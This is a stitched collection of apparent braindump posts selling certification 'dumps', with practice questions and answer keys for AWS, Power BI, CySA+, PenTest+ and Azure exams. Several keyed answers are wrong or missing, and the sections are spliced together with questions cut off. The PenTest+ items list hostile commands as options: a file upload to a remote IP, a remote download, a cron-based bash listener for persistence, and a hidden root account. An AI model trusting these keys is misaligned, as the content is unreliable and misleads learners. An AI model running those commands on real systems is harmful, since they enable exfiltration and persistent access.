D. Configure Amazon Route 53 to use a geolocation routing policy to distribute the traffic
E. Configure Amazon CloudFront to handle the traffic and route requests to the application in each Region
Correct Answer: AC
Question 6:
A company is running an online transaction processing (OLTP) workload on AWS. This workload uses an unencrypted Amazon RDS DB instance in a Multi-AZ deployment. Daily database snapshots are taken from this instance.
What should a solutions architect do to ensure the database and snapshots are always encrypted moving forward?
A. Encrypt a copy of the latest DB snapshot. Replace the existing DB instance by restoring the encrypted snapshot
B. Create a new encrypted Amazon Elastic Block Store (Amazon EBS) volume and copy the snapshots to it Enable encryption on the DB instance
C. Copy the snapshots and enable encryption using AWS Key Management Service (AWS KMS) Restore the encrypted snapshot to an existing DB instance
D. Copy the snapshots to an Amazon S3 bucket that is encrypted using server-side encryption with AWS Key Management Service (AWS KMS) managed keys (SSE-KMS)
A company hosts an application on multiple Amazon EC2 instances The application processes messages from an Amazon SQS queue writes to an Amazon RDS table and deletes the message from the queue Occasional duplicate records are found in the RDS table. The SQS queue does not contain any duplicate messages.
What should a solutions architect do to ensure messages are being processed once only?
A. Use the CreateQueue API call to create a new queue
B. Use the Add Permission API call to add appropriate permissions
C. Use the ReceiveMessage API call to set an appropriate wail time
D. Use the ChangeMessageVisibility API call to increase the visibility timeout
Correct Answer: D
The visibility timeout begins when Amazon SQS returns a message. During this time, the consumer processes and deletes the message. However, if the consumer fails before deleting the message and your system doesn’t call the DeleteMessage action for that message before the visibility timeout expires, the message becomes visible to other consumers and the message is received again.
If a message must be received only once, your consumer should delete it within the duration of the visibility timeout.
Keyword: SQS queue writes to an Amazon RDS From this, Option D best suite, and amp; other Options are ruled out [Option A – You can\’t introduce one more Queue in the existing one; Option B – only Permission and amp; Option C – Only Retrieves Messages] FIF O queues are designed to never introduce duplicate messages.
However, your message producer might introduce duplicates in certain scenarios: for example, if the producer sends a message, does not receive a response, and then resends the same message.
Amazon SQS APIs provide deduplication functionality that prevents your message producer from sending duplicates. Any duplicates introduced by the message producer are removed within a 5-minute deduplication interval. For standard queues, you might occasionally receive a duplicate copy of a message (at least- one delivery).
If you use a standard queue, you must design your applications to be idempotent (that is, they must not be affected adversely when processing the same message more than once).
Question 8:
A company runs a photo processing application that needs to frequently upload and download pictures from Amazon S3 buckets that are located in the same AWS Region. A solutions architect has noticed an increased cost in data transfer fees and needs to implement a solution to reduce these costs.
How can the solutions architect meet this requirement?
A. Deploy Amazon API Gateway into a public subnet and adjust the routing table to route S3 calls through It.
B. Deploy a NAT gateway into a public subnet and attach an endpoint policy that allows access to the S3 buckets.
C. Deploy the application Into a public subnet and allow it to route through an internet gateway to access the S3 Buckets
D. Deploy an S3 VPC gateway endpoint into the VPC and attach an endpoint policy that allows access to the S3 buckets.
Correct Answer: D
To reduce costs get rid of NAT Gateway, and VPC endpoint to S3 Close question to Question #4, with the same solution.
Question 9:
A media company is evaluating the possibility of moving its systems to the AWS Cloud The company needs at least 10 TB of storage with the maximum possible I/O performance for video processing.
300 TB of very durable storage for storing media content, and 900 TB of storage to meet requirements for archival media that is not in use anymore.
Which set of services should a solutions architect recommend to meet these requirements?
A. Amazon EBS for maximum performance, Amazon S3 for durable data storage, and Amazon S3 Glacier for archival storage
B. Amazon EBS for maximum performance, Amazon EFS for durable data storage, and Amazon S3 Glacier for archival storage
C. Amazon EC2 instance store for maximum performance. Amazon EFS for durable data storage and Amazon S3 for archival storage
D. Amazon EC2 Instance store for maximum performance. Amazon S3 for durable data storage, and Amazon S3 Glacier for archival storage
Correct Answer: D
Max instance store possible at this time is 30TB for NVMe which has a higher I/O compared to EBS.
A company has a multi-tier application that runs six front-end web servers in an Amazon EC2 Auto Scaling group in a single Availability Zone behind an Application Load Balancer (ALB). A solutions architect needs to modify the infrastructure to be highly available without modifying the application.
Which architecture should the solutions architect choose that provides high availability?
A. Create an Auto Scaling group that uses three Instances across each of the tv/o Regions.
B. Modify the Auto Scaling group to use three instances across each of the two Availability Zones.
C. Create an Auto Scaling template that can be used to quickly create more instances in another Region.
D. Change the ALB in front of the Amazon EC2 instances in a round-robin configuration to balance traffic to the web tier.
Correct Answer: B
High availability can be enabled for this architecture quite simply by modifying the existing Auto Scaling group to use multiple availability zones. The ASG will automatically balance the load so you don’t actually need to specify the instances per AZ.
Question 11:
A company is planning to use an Amazon DynamoDB table for data storage. The company is concerned about cost optimization. The table will not be used on most mornings. In the evenings, the read-and-write traffic will often be unpredictable. When traffic spikes occur, they will happen very quickly.
What should a solutions architect recommend?
A. Create a DynamoDB table in on-demand capacity mode.
B. Create a DynamoDB table with a global secondary index.
C. Create a DynamoDB table with provisioned capacity and auto-scaling.
D. Create a DynamoDB table in provisioned capacity mode, and configure it as a global table.
Correct Answer: A
An on-demand mode is a good option if any of the following are true:
– You create new tables with unknown workloads.
-You have unpredictable application traffic.
-You prefer the ease of paying for only what you use.
Question 12:
A solutions architect needs to implement a solution to reduce a company\’s storage costs. All the company\’s data is in the Amazon S3 Standard storage class. The company must keep all data for at least 25 years. Data from the most recent 2 years must be highly available and immediately retrievable.
Which solution will meet these requirements?
A. Set up an S3 Lifecycle policy to transition objects to S3 Glacier Deep Archive immediately.
B. Set up an S3 Lifecycle policy to transition objects to S3 Glacier Deep Archive after 2 years.
C. Use S3 Intelligent-Tiering. Activate the archiving option to ensure that data is archived in S3 Glacier Deep Archive.
D. Set up an S3 Lifecycle policy to transition objects to S3 One Zone-Infrequent Access (S3 One Zone-IA) immediately and to S3 Glacier Deep Archive after 2 years.
Correct Answer: B
Why Not C? Because in Intelligent Tier the objects are automatically moved to different tiers.
The question says “the data from the most recent 2 yrs should be highly available and immediately retrievable”, which means in the intelligent tier, if you activate archiving option(as Option C specifies), the objects will be moved to the Archive tiers
(instant access to deep archive access tiers) in 90 to 730 days. Remember these archive tiers’ performance will be similar to S3 glacier flexible and s3 deep archive which means files cannot be retrieved immediately within 2 yrs.
We have a hard requirement in question which says it should be retrievable immediately for the 2 yrs. which cannot be achieved in the Intelligent tier. So B is the correct option imho.
Because of the above reason, It’s possible only in S3 standard and then configures lifecycle configuration to move to S3 Glacier Deep Archive after 2 yrs.
Question 13:
A company has an application that ingests incoming messages. Dozens of other applications and microservices then quickly consume these messages. The number of messages varies drastically and sometimes increases suddenly to 100,000 each second. The company wants to decouple the solution and increase scalability.
Which solution meets these requirements?
A. Persist the messages to Amazon Kinesis Data Analytics. Configure the consumer applications to read and process the messages.
B. Deploy the ingestion application on Amazon EC2 instances in an Auto Scaling group to scale the number of EC2 instances based on CPU metrics.
C. Write the messages to Amazon Kinesis Data Streams with a single shard. Use an AWS Lambda function to preprocess messages and store them in Amazon DynamoDB. Configure the consumer applications to read from DynamoDB to process the messages.
D. Publish the messages to an Amazon Simple Notification Service (Amazon SNS) topic with multiple Amazon Simple Queue Service (Amazon SOS) subscriptions. Configure the consumer applications to process the messages from the queues.
Correct Answer: D
decoupling an application using sqs and fanout using sns
A company wants to manage Amazon Machine Images (AMls). The company currently copies AMls to the same AWS Region where the AMls were created. The company needs to design an application that captures AWS API calls and sends alerts whenever the Amazon EC2 Createlmage API operation is called within the company\’s account.
Which solution will meet these requirements with the LEAST operational overhead?
A. Create an AWS Lambda function to query AWS CloudTrail logs and to send an alert when a Createlmage API call is detected
B. Configure AWS CloudTrail with an Amazon Simple Notification Sen/ice (Amazon SNS) notification that occurs when updated logs are sent to Amazon S3 Use Amazon Athena to create a new table and to query on Createlmage when an API call is detected
C. Create an Amazon EventBndge (Amazon CloudWatch Events) rule for the Createlmage API call Configure the target as an Amazon Simple Notification Service (Amazon SNS) topic to send an alert when a Createlmage API call is detected
D. Configure an Amazon Simple Queue Service (Amazon SQS) FIFO queue as a target for AWS CloudTrail logs Create an AWS Lambda function to send an alert to an Amazon Simple Notification Service (Amazon SNS) topic when a Createlmage API call is detected
Correct Answer: D
Question 15:
A company has two applications: a sender application that sends messages with payloads to be processed and a processing application intended to receive the messages with payloads. The company wants to implement an AWS service to handle messages between the two applications.
The sender application can send about 1.000 messages each hour. The messages may take up to 2 days to be processed. If the messages fail to process, they must be retained so that they do not impact the processing of any remaining messages.
Which solution meets these requirements and is the MOST operationally efficient?
A. Set up an Amazon EC2 instance running a Redis database. Configure both applications to use the instance. Store, process, and delete the messages, respectively.
B. Use an Amazon Kinesis data stream to receive the messages from the sender application. Integrate the processing application with the Kinesis Client Library (KCL).
C. Integrate the sender and processor applications with an Amazon Simple Queue Service (Amazon SQS) queue. Configure a dead-letter queue to collect the messages that failed to process.
D. Subscribe the processing application to an Amazon Simple Notification Service (Amazon SNS) topic to receive notifications to process. Integrate the sender application to write to the SNS topic.
There are many SAA-C03 learning materials on the market at present, but Pass4itSure SAA-C03 dumps are the most suitable and the best breakthrough for the SAA-C03 exam. You can get the full SAA-C03 dumps here https://www.pass4itsure.com/saa-c03.html Continue learning and wish you an early crack exam.
Successfully passing the Microsoft Power BI Data Analyst exam requires the help of PL-300 dumps. However, remember, it must be the latest PL-300 dumps. To that end, Pass4itSure offers you the updated PL-300 dumps 2023, welcome to the new exam materials to prepare for the Microsoft PL-300 exam.
Pass4itSure provides real questions for Microsoft PL-300 dumps https://www.pass4itsure.com/pl-300.html please pass the exam from here and on the first attempt.
Is the Microsoft Power BI Data Analyst exam really hard to pass?
Follow the steps, it’s not difficult. First of all, you need to be familiar with the basics and master them. Second, there is the need to have real new PL-300 exam material, which Pass4itSure PL-300 dumps can provide. Finally, practice the exam questions carefully to achieve proficiency. To do that, it’s not hard to pass the Microsoft Power BI Data Analyst exam.
The PL-300 exam costs $165 and a passing score of 700 points. You’ll need to answer 40-60 questions in 40 different formats, including multiple-choice, true/false, drag and drop, list building, and case studies in 100 minutes. Successful completion of the Microsoft Certified: Power BI Data Analyst Associate certification.
How to Effectively Pass the Microsoft Power BI Data Analyst PL-300 exam in 2023?
Using the latest PL-300 dumps 2023 can effectively help pass the exam. The Pass4itSure website is available.
Where can I find Microsoft PL-300 free practice questions 2023?
Microsoft PL-300 free dumps PL-300 exam questions | Updated 2023:
NEW Q1
You have a Power BI dataset that contains a table named Temperature Readings. Temperature Readings contain the columns shown in the following table.
The table has 12 million rows. All the columns are needed for analysis. You need to optimize the dataset to decrease the model size. The solution must not affect the precision of the data. What should you do?
A. Split the DateTime column into separate date and time columns. B. Disable the Power Query load. C. Round the Longitude column to two decimal places. D. Change the data type of the TempCelsius column to Integer
Correct Answer: B
Disable Power Query load. Power Query queries that are intended to support data integration with other queries should not be loaded into the model. To avoid loading the query to the model, take care to ensure that you disable query load in these instances.
You have an on-premises Power BI Report Server. You plan to create a report in Power BI Desktop and publish the report to the report server. Which data source should the report use?
A. Microsoft Azure SQL Database B. a Microsoft SQL Server database C. a Microsoft SQL Server Analysis Services (SSAS) database D. Microsoft Excel
You have a collection of reports for the HR department of your company. The datasets use row-level security (RLS). The company has multiple sales regions that each have an HR manager. You need to ensure that the HR managers can interact with the data from their region only. The HR managers must be prevented from changing the layout of the reports. How should you provide access to the reports for the HR managers?
A. Create a new workspace, copy the datasets and reports, and add the HR managers as members of the workspace. B. Publish the reports to a different workspace other than the one hosting the datasets. C. Publish the reports in an app and grant the HR managers access permission. D. Add the HR managers as members of the existing workspace that hosts the reports and the datasets.
Correct Answer: C
Note: Row-level security (RLS) with Power BI can be used to restrict data access for given users. Filters restrict data access at the row level, and you can define filters within roles. In the Power BI service, members of a workspace have access to datasets in the workspace. RLS doesn’t restrict this data access.
You need to minimize me size of the dataset. The solution must meet the report requirements What should you do?
A. Change the lite OrderlD column in the Orders table to the text data type. B. Filter out discontinued products while importing the Product table. C. Remove the QuantityPerUnit column from the Products table D. Group the Categories table by the CategorylD column.
Correct Answer: D
NEW Q5
You are creating a Power BI report to analyze consumer purchasing patterns from a table named Transactions. The Transactions table contains a numeric field named Spend. You need to include a visual that identifies which fields have the greatest impact on Spend. Which type of visual should you use?
A. decomposition tree B. QandA C. smart narrative D. key influences
Correct Answer: D
NEW Q6
You use an R visual to produce a map of 500,000 customers. You include the values of CustomerID, Latitude, and Longitude in the fields sent to the visual. Each customer ID is unique. In powerbi.com, when users load the visual, they only see some of the customers. What is the cause of the issue?
A. The visual was built by using a different version of R. B. The data comes from a Microsoft SQL Server source. C. The data is deduplicated. D. Too many records were sent to the visual.
Correct Answer: D
R visuals in the Power BI service have a few limitations including: Data size limitations data used by the R visual for plotting is limited to 150,000 rows. If more than 150,000 rows are selected, only the top 150,000 rows are used and a message is displayed on the image. Additionally, the input data has a limit of 250 MB.
Your company has employees in 10 states. The company recently decided to associate each state with one of the following three regions: East, West, and North. You have a data model that contains employee information by state. The model does NOT include region information. You have a report that shows the employees by state. You need to view the employees by region as quickly as possible. What should you do?
A. Create a new aggregation that summarizes the employee. B. Create a new group on the state column and set the Group type to List. C. Create a new group on the state column and set the Group type to Bin. D. Create a new aggregation that summarizes by state.
From Power 61 Desktop, you publish a new dataset and report to a Power Bl workspace. The dataset has a row-level security (RLS) role named HR. You need to ensure that the HR team members have RLS applied when they view reports based on the dataset. What should you do?
A. From Power Bl Desktop, change the Row-Level Security settings. B. From Power Bl Desktop, import a table that contains the HR team members C. From powerbi.com.add users to the HR role for the dataset. D. From powerbi.com. Share the dataset with the HR team members.
Correct Answer: C
NEW Q9
You have a report that contains four pages. Each page contains slicers for the same four fields. Users report that when they select values on a slicer on one page, the visuals are not updated on all the pages. You need to recommend a solution to ensure that users can select a value once to filter the results on all the pages.
What are two possible recommendations to achieve this goal? Each correct answer presents a complete solution. NOTE: Each correct selection is worth one point.
A. Sync the slicers across the pages. B. Replace the slicers with page-level filters. C. Replace the slicers with visual-level filters. D. Create a bookmark for each slicer value. E. Replace the slicers with report-level filters.
Correct Answer: AE
Add a report-level filter to filter an entire report. The visuals on the active page, and on all pages in the report, change to reflect the new filter. You can sync a slicer and use it on any or all pages in a report.
1. On the Power BI Desktop View menu, select Sync slicers.
Your company plans to completely separate development and production assets such as datasets, reports, and dashboards in Microsoft Power Bl. You need to recommend an application lifecycle strategy. The solution must minimize maintenance to update access and prevent end users from viewing the development assets. What should you recommend?
A. Create production reports in a separate workspace that uses a shared dataset from the development workspace. Grant the end users access to the production workspace. B. In the same workspace, create separate copies of the assets and append DEV to the names of the copied assets. Grant the end users access to the workspace. C. Create separate workspaces for development and production. Grant the end users access to the production workspace. D. Create one workspace for development. From the workspace, publish an app for production.
Correct Answer: C
NEW Q11
You have five sales regions. Each region is assigned a single salesperson. You have an imported dataset that has a dynamic row-level security (RLS) role named Sales. The Sales role filters sales transaction data by the salesperson. Salespeople must see only the data from their region.
You publish the dataset to powerbi.com, set RLS role membership, and distribute the dataset and related reports to the salespeople.
A salesperson reports that she believes she should see more data. You need to verify what data the salesperson currently sees. What should you do?
A. Use the Test as role option to view data as the salesperson\’s user account. B. Use the Test as role option to view data as the Sales role. C. Instruct the salesperson to open the report in Microsoft Power Bl Desktop. D. Filter the data in the reports to match the intended logic in the filter on the sales transaction table.
Correct Answer: B
Validate the roles within Power BI Desktop After you\’ve created your roles, test the results of the roles within Power BI Desktop. From the Modeling tab, select View as.
Select a role you created, and then select OK to apply for that role. The report renders the data relevant to that role. You can also select Other user and supply a given user. Select OK. The report renders based on what that user can see.
DRAG DROP You have the line chart shown in the exhibit. (Click the Exhibit tab.)
You need to modify the chart to meet the following requirements: 1. Identify months that have order counts above the mean. 2. Display the mean monthly order count.
Which three actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order. Select and Place:
1. Select the line chart 2. Add the average line 3. Turn on Data Label
HOTSPOT You have a report in Power BI Desktop as shown in the following exhibit.
Use the drop-down menus to select the answer choice that completes each statement based on the information presented in the graphic. Note: Each correct selection is worth one point. Hot Area:
Correct Answer:
Summary:
Be sure to use the latest PL-300 dumps to prepare for the Microsoft Power BI Data Analyst exam, otherwise, it is invalid preparation.
You can safely use Pass4itSure PL-300 dumps 2023 https://www.pass4itsure.com/pl-300.html to prepare as it is up to date and wishes you success in passing the PL-300 exam in 2023.
For complete and comprehensive CompTIA CySA+ exam preparation, you can try our just-updated CS0-002 exam dumps questions, and with it, you have the most reliable exam materials. This is helpful for successfully passing the CompTIA Cybersecurity Analyst (CySA+) exam.
Get excellent CS0-002 exam materials easily from the Pass4itSure CS0-002 exam dumps webpage https://www.pass4itsure.com/cs0-002.html. Practice valid CS0-002 exam questions and answers to successfully pass the exam.
Type of Questions Multiple choice and performance-based
Length of Test 165 minutes
Passing Score 750 (on a scale of 100-900)
Price $392 USD
How do I prepare for the CompTIA CS0-002 exam?
First of all, you need reliable exam material. Here are the recommended Pass4itSure CS0-002 exam dumps.
Use the Pass4itSure CS0-002 exam dumps to use the practice questions inside as exam materials to prepare for the exam, and success is yours.
Pass4itSure materials for you to prepare:
CS0-002 PDF
CS0-002 VCE
All contain the latest exam practice questions and explanations to help you flexibly prepare for the CompTIA Cybersecurity Analyst (CySA+) exam.
Where can I get the latest dumps and Q/A for the CompTIA CS0-002?
Here you can, Softwarexam.com. I will share the website of the CS0–002 dumps – Pass4itSure. It is the most recent website related to CS0–002 dumps. This site is effective and can help you a lot.
You can read the latest CS0-002 exam questions 1-13 below (free of charge)
[2022.11] New CompTIA Cybersecurity Analyst (CySA+) Free CS0-002 Dumps Questions
NEW QUESTION 1
A cybersecurity analyst is investigating an incident report concerning a specific user workstation. The workstation is exhibiting high CPU and memory usage, even when first started, and network bandwidth usage is extremely high. The user reports that applications crash frequently, despite the fact that no significant changes in work habits have occurred.
An antivirus scan reports no known threats. Which of the following is the MOST likely reason for this?
A. Advanced persistent threat B. Zero-day C. Trojan D. Logic bomb
Correct Answer: B
NEW QUESTION 2
In response to a potentially malicious email that was sent to the Chief Financial Officer (CFO), an analyst reviews the logs and identifies a questionable attachment using a hash comparison. The logs also indicate the attachment was already opened. Which of the following should the analyst do NEXT?
A. Create a sinkhole to block the originating server. B. Utilize the EDR platform to isolate the CFO\\’s machine. C. Perform malware analysis on the attachment. D. Reimage the CFO\\’s laptop.
The Chief Executive Officer (CEO) instructed the new Chief Information Security Officer (CISO) to provide a list of enhancements to the company\\’s cybersecurity operation. As a result, the CISO has identified the need to align security operations with industry best practices. Which of the following industry references is appropriate to accomplish this?
A technician is running an intensive vulnerability scan to detect which ports are open to exploit. During the scan, several network services are disabled and production is affected. Which of the following sources would be used to evaluate? Which network service was interrupted?
A. Syslog B. Network mapping C. Firewall logs D. NIDS
Correct Answer: A
NEW QUESTION 5
A team of security analysts has been alerted to potential malware activity. The initial examination indicates one of the affected workstations on beaconing on TCP port 80 to five IP addresses and attempting to spread across the network over port 445. Which of the following should be the team\\’s NEXT step during the detection phase of this response process?
A. Escalate the incident to management, who will then engage the network infrastructure team to keep them informed B. Depending on the system critically remove each affected device from the network by disabling wired and wireless connections C. Engage the engineering team to block SMB traffic internally and outbound HTTP traffic to the five IP addresses Identify potentially affected systems by creating a correlation D. Identify potentially affected systems by creating a correlation search in the SIEM based on the network traffic.
Correct Answer: D
NEW QUESTION 6
An organization has the following risk mitigation policy: 1. Risks with a probability of 95% or greater will be addressed before all others regardless of the impact. 2. All other prioritization will be based on risk value. The organization has identified the following risks:
Which of the following is the order of priority for risk mitigation from highest to lowest?
A. A, B, D, C B. A, B, C, D C. D, A, B, C D. D, A, C, B
Correct Answer: D
NEW QUESTION 7
A storage area network (SAN) was inadvertently powered off while power maintenance was being performed in a datacenter. None of the systems should have lost all power during the maintenance. Upon review, it is discovered that a SAN administrator moved a power plug when testing the SAN\\’s fault notification features.
Which of the following should be done to prevent this issue from reoccurring?
A. Ensure both power supplies on the SAN are serviced by separate circuits so that if one circuit goes down, the other remains powered. B. Install additional batteries in the SAN power supplies with enough capacity to keep the system powered on during maintenance operations. C. Ensure power configuration is covered in the data center change management policy and has the SAN administrator review this policy. D. Install a third power supply in the SAN so the loss of any power intuit does not result in the SAN completely powering off.
Correct Answer: A
NEW QUESTION 8
A security analyst is investigating an incident that appears to have started with SOL injection against a publicly available web application. Which of the following is the FIRST step the analyst should take to prevent future attacks?
A. Modify the IDS rules to have a signature for SQL injection. B. Take the server offline to prevent continued SQL injection attacks. C. Create a WAF rule In block mode for SQL injection D. Ask the developers to implement parameterized SQL queries.
Correct Answer: A
NEW QUESTION 9
An analyst finds that unpatched servers have undetected vulnerabilities because the vulnerability scanner does not have the latest set of signatures. Management directed the security team to have personnel update the scanners with the latest signatures at least 24 hours before conducting any scans, but the outcome is unchanged.
Which of the following is the BEST logical control to address the failure?
A. Configure a script to automatically update the scanning tool. B. Manually validate that the existing update is being performed. C. Test vulnerability remediation in a sandbox before deploying. D. Configure vulnerability scans to run in credentialed mode.
Correct Answer: A
NEW QUESTION 10
An analyst was tasked with providing recommendations of technologies that are PKI X.509 compliant for a variety of secure functions. Which of the following technologies meets the compatibility requirement? (Select three.)
A. 3DES B. AES C. IDEA D. PKCS E. PGP F. SSL/TLS G. TEMPEST
Correct Answer: BDF
NEW QUESTION 11
Which of the following is MOST dangerous to the client environment during a vulnerability assessment penetration test?
A. There is a longer period of time to assess the environment. B. The testing is outside the contractual scope C. There is a shorter period of time to assess the environment D. No status reports are included with the assessment.
Correct Answer: B
NEW QUESTION 12
A cybersecurity analyst is dissecting an intrusion down to specific techniques and wants to organize them in a logical manner. Which of the following frameworks would BEST apply in this situation?
A. Pyramid of Pain B. MITRE ATTandCK C. Diamond Model of Intrusion Analysis D. CVSS v3.0
Correct Answer: B
NEW QUESTION 13
A security analyst is investigating a compromised Linux server. The analyst issues the ps command and receives the following output.
Which of the following commands should the administrator run NEXT to further analyze the compromised system?
A. strace /proc/1301 B. rpm -V openash-server C. /bin/la -1 /proc/1301/exe D. kill -9 1301
Correct Answer: A
Visit the Pass4itSure CS0-002 exam dumps website https://www.pass4itsure.com/cs0-002.html to get the latest exam materials and start your exam preparation journey.
We just updated PT0-002 dumps 2022 on Sep 22, 2022. The Pass4itSure PT0-002 dumps have become a good CompTIA PenTest+ exam practice material to help you successfully pass the exam.
How do I quickly prepare for the CompTIA PenTest+ (PT0-002) exam? You can visit Pass4itSure to get the latest PT0-002 dumps (URL https://www.pass4itsure.com/pt0-002.html) as CompTIA PenTest+ exam practice material. These PT0-002 dumps have the latest 162 PT0-002 questions and answers to help quickly achieve CompTIA PenTest+ certification.
Do I need to know the details of the CompTIA PenTest+ PT0-002 exam?
Needs.
CompTIA PenTest+ (PT0-002) will verify that candidates have the knowledge and skills necessary to plan and determine the scope of a penetration testing program, including vulnerability scans, understand legal and compliance requirements, analyze results, and write a written report containing remediation techniques.
In the PT0-002 exam, you will need to answer up to 85 questions in 165 minutes with a passing score of 750. The exam focuses on technology and practice. The test languages are English and Japanese. The cost is $392.
What are some useful learning resources for the CompTIA PT0-002 exam?
Learn online with CertMaster Learn.
Practice and prepare for your exam with CertMaster Practice.
Pass4itSure PT0-002 dumps
eBook – The Official CompTIA PenTest+ Study Guide
Where can I find valid CompTIA PenTest+ exam practice materials to pass the exam?
Go to the Pass4itSure website and select the latest updated PT0-002 dumps, which will provide you with the most effective PT0-002 exam practice material, practice carefully and you will successfully pass.
Are there free PT0-002 exam dumps available for download in 2022?
Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?
A. HTTPS communication B. Public and private keys C. Password encryption D. Sessions and cookies
Correct Answer: D
NEW QUESTION 2
A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?
Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?
A. Executive summary of the penetration-testing methods used B. Bill of materials including supplies, subcontracts, and costs incurred during the assessment C. Quantitative impact assessments are given a successful software compromise D. Code context for instances of unsafe type-casting operations
Correct Answer: C
NEW QUESTION 4
A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?
A. Cost of the assessment B. Report distribution C. Testing restrictions D. Liability
Correct Answer: B
NEW QUESTION 5
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
A. A signed statement of work B. The correct user accounts and associated passwords C. The expected time frame of the assessment D. The proper emergency contacts for the client
Correct Answer: C
NEW QUESTION 6
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider\\’s metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?
A. Cross-site request forgery B. Server-side request forgery C. Remote file inclusion D. Local file inclusion
A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following: Pre-engagement interaction (scoping and ROE) Intelligence gathering (reconnaissance) Threat modeling Vulnerability analysis Exploitation and post-exploitation Reporting Which of the following methodologies does the client use?
A. OWASP Web Security Testing Guide B. PTES technical guidelines C. NIST SP 800-115 D. OSSTMM
A penetration tester was brute forcing an internal web server and ran a command that produced the following output:
Which of the following is the MOST likely reason for the lack of output?
A. The HTTP port is not open on the firewall. B. The tester did not run sudo before the command. C. The web server is using HTTPS instead of HTTP. D. This URI returned a server error.
Correct Answer: A
NEW QUESTION 9
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/accesschk64.exe B. powershell (New-Object System.Net.WebClient).UploadFile(http://192.168.2.124/upload.php\\',systeminfo.txt\’) C. schtasks /query /fo LIST /v | find /I “Next Run Time:” D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe
A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?
A. Nmap B. Wireshark C. Metasploit D. Netcat
Correct Answer: B
NEW QUESTION 11
Performing a penetration test against an environment with SCADA devices brings additional safety risks because the:
A. devices produce more heat and consume more power. B. devices are obsolete and are no longer available for replacement. C. protocols are more difficult to understand. D. devices may cause physical world effects.
A penetration tester was able to gain access successfully to a Windows workstation on a mobile client\\’s laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
A. schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe B. wmic startup get caption,command C. crontab –l; echo “@reboot sleep 200 andand ncat –lvp 4242 –e /bin/bash”) | crontab 2>/dev/null D. sudo useradd –ou 0 –g 0 user
Correct Answer: B
NEW QUESTION 13
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?
A. Smurf B. Ping flood C. Fraggle D. Ping of death
Downloadzpdf.com offers a free CompTIA certification practice test designed to pass the exam. To learn more about the CompTIA series of exam exercises please search for exam question numbers.
Did you know that passing the Microsoft Azure AZ-500 exam requires good help? AZ-500 dumps latest online is the Microsoft Azure Secure Technology exam learning helper that helps you prepare for the AZ-500 exam with ease.
The latest update of the AZ-500 dumps Q&A material is a great learning helper. Get the AZ-500 dumps Webpage: https://www.pass4itsure.com/az-500.html (364+ Q&As) can help you successfully pass the Microsoft Azure Security Technologies exam.
What are the key points of the Microsoft Azure Security Technologies exam?
Microsoft Azure Security Technologies, also known as the AZ-500 exam, is an exam affiliated with Microsoft Certified: Azure Security Engineer Associate that earns you the certification. The passing score of the exam is 700. Available in English, Japanese, Chinese (Simplified), Korean, German, French, Spanish, Portuguese (Brazil), Arabic (Saudi Arabia), Russian, Chinese (Traditional), Italian, and Indonesian (Indonesia), the exam fee is $165.
Focus on the following
Manage identity and access
Implement platform protection
Manage security operations
Secure data and applications
Specially prepared for you effective AZ-500 exam study resources:
AZ-500: Manage Identity and Access
AZ-500: Implement platform protection
AZ-500: Secure your data and applications
AZ-500: Manage security operation
Pass4itSure AZ-500 dumps
How do I prepare for the Microsoft certification AZ-500 exam?
To take the Microsoft Certified AZ-500 exam, the updated Pass4itSure AZ-500 dumps are the best learning helper. It provides AZ-500 exam Q&A materials that will help you successfully pass the Microsoft Azure Security Technologies exam.
Free Microsoft Azure Security Technologies AZ-500 Dumps Update Q&As
1. You have an Azure Active Directory (Azure AD) tenant and a root management group. You create 10 Azure subscriptions and add the subscriptions to the root management group. You need to create an Azure Blueprints definition that will be stored in the root management group. What should you do first?
A. Add an Azure Policy definition to the root management group. B. Modify the role-based access control (RBAC) role assignments for the root management group. C. Create a user-assigned identity. D. Create a service principal.
2. HOTSPOT You have an azure active Directory (Azure AD) tenant that contains the resources shown in the following table.
User2 is the owner of Group2. The user and group settings for App1 are configured as shown in the following exhibit.
Correct Answer:
3. You have two Azure virtual machines in the East US2 region as shown in the following table.
You deploy and configure an Azure Key vault. You need to ensure that you can enable Azure Disk Encryption on VM1 and VM2. What should you modify on each virtual machine? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point.
Hot Area: Correct Answer:
VM1: The Tier The Tier needs to be upgraded to standard. Disk Encryption for Windows and Linux IaaS VMs is in General Availability in all Azure public regions and Azure Government regions for Standard VMs and VMs with Azure Premium Storage.
VM2: The type Need to change the VM type to any of A, D, DS, G, GS, F, and so on, series IaaS VMs. Not the operating system version: Ubuntu 16.04 is supported.
4. You have an Azure SQL database. You implement Always Encrypted. You need to ensure that application developers can retrieve and decrypt data in the database. Which two pieces of information should you provide to the developers? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point.
A. a stored access policy B. a shared access signature (SAS) C. the column encryption key D. user credentials E. the column master key
Correct Answer: CE
Always Encrypted uses two types of keys: column encryption keys and column master keys. A column encryption key is used to encrypt data in an encrypted column. A column master key is a key-protecting key that encrypts one or more column encryption keys.
5. You are evaluating the effect of the application security groups on the network communication between the virtual machines in Sub2. For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point.
